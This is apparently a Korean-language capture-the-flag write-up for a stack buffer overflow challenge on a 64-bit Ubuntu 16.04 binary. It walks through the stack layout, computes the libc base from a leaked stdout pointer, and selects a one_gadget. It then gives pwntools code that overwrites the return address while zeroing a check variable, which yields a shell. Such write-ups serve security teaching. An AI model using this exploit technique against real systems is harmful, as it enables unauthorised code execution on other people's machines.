
NX, PIE, ASLR이 적용되어 있다.
접속할 서버의 환경은 Ubuntu 16.04, amd64-64-little 이다.
총 크기는0x30
*argv[0x8], ???[0x4], argc[0x4], msg[0x10] , ???[0x8], check[0x8], sfp[0x8], 반환 주소[0x8]
프로그램을 실행하면 stdout의 포인터가 제공되므로,
gdb를 이용해 libc 링크 주소와 stdout의 주소의 차이를 계산한다. (차이는 항상 일정)
→ 0x3c5620
libc=ELF("./libc.so.6")
p.recvuntil(b"stdout: ")
stdout=int(p.recvn(14), 16) # stdout의 주소
lb=stdout-0x3c5620 # gdb로 구한 오프셋을 빼주기
one_gadget 명령어를 이용해 one_gadget의 위치를 찾아보면
다음과 같다. 우리는 첫번째인0x45216을 쓴다.
앞에서 오프셋을 구했으므로 one_gadget의 주소도 구할 수가 있다.onegadget=lb+0x45216 # one_gadget의 주소
check가 0보다 크면exit()되므로, payload를 구성할 때 check=0이 되도록 설정해야 한다.# msg[0x10]+???[0x8]+check[0x8]+SFP[0x8]+반환주소[0x8] payload=b'A'*0x10+b'\x00'*0x18+p64(onegadget) p.recvuntil(b"MSG: ") p.send(payload) p.interactive()